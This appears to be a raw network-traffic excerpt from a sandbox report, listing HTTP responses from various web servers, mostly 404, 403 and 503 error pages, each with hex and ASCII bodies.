Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:05 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:07 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.12.2Date: Sun, 14 Apr 2024 01:22:12 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0Content-Type: text/plain; charset=utf-8Expires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheVary: OriginX-Accel-Expires: 0X-Content-Type-Options: nosniffDate: Sun, 14 Apr 2024 02:00:08 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:08 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 337Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL4</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 22:00:08 GMTServer: App-webs/Content-Length: 181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 14Content-Type: text/plainData Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a Data Ascii: 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:13 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:13 GMTServer: Apache/2.4.58 (Fedora Linux) OpenSSL/3.1.1 mod_perl/2.0.12 Perl/v5.38.2X-Powered-By: PHP/8.2.16Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 36 0d 0a 74 65 73 74 32 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 6test20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:12 GMTServer: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9Content-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1236date: Sun, 14 Apr 2024 02:00:13 GMTserver: LiteSpeedconnection: Keep-AliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:13 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:13 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: ABPtcPpJURBo2J1GLaYaY_bDHk9FZTpYJ8hXkk1uwoeqXEIffr6pPU5NMTa4W6jJrR_0nkenbE9TAvI-HwExpires: Sun, 14 Apr 2024 03:00:13 GMTDate: Sun, 14 Apr 2024 02:00:13 GMTCache-Control: public, max-age=3600Last-Modified: Wed, 27 Mar 2024 15:51:01 GMTETag: "59d1a1dd85e259184445bae808590900"x-goog-generation: 1711554661305565x-goog-metageneration: 1x-goog-stored-content-encoding: identityx-goog-stored-content-length: 1266Content-Type: text/htmlx-goog-hash: crc32c=607Ttw==x-goog-hash: md5=WdGh3YXiWRhERbroCFkJAA==x-goog-storage-class: STANDARDAccept-Ranges: bytesContent-Length: 1266Server: UploadServerData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 61 74 65 72 69 61 6c 2b 49 63 6f 6e 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 3b 37 30 30 3b 38 30 30 26 66 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16.png"/><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Material+Icons"/><link rel="preconnect" href="https://fonts.googleapis.com"/><link rel="preconnect" href="https://
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiDate: Sun, 14 Apr 2024 02:00:13 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:14 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Web serverDate: Sun, 14 Apr 2024 02:00:08 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveX-Detail: 0x1210, insufficient security levelData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/htmlRetry-After: 3600Server: Microsoft-IIS/8.5X-Powered-By-Plesk: PleskWinDate: Sun, 14 Apr 2024 02:00:14 GMTContent-Length: 1212Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4e 69 6b 6f 6e 20 2d 20 43 75 72 72 65 6e 74 6c 79 20 55 6e 64 65 72 67 6f 69 6e 67 20 4d 61 69 6e 74 65 6e 61 6e 63 65 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 23 6f 75 74 65 72 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 74 6f 70 3a 20 35 30 25 3b 0d 0a 09 6c 65 66 74 3a 20 30 70 78 3b 0d 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 23 69 6e 6e 65 72 20 7b 0d 0a 09 77 69 64 74 68 3a 20 34 30 30 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 32 30 30 70 78 3b 20 20 2f 2a 2a 2a 20 20 77 69 64 74 68 20 2f 20 32 20 20 20 2a 2a 2a 2f 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 74 6f 70 3a 20 2d 31 30 30 70 78 3b 20 20 20 20 20 20 20 20 20 20 2f 2a 2a 2a 20 20 68 65 69 67 68 74 20 2f 20 32 20 20 20 2a 2a 2a 2f 0d 0a 09 6c 65 66 74 3a 20 35 30 25 3b 0d 0a 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 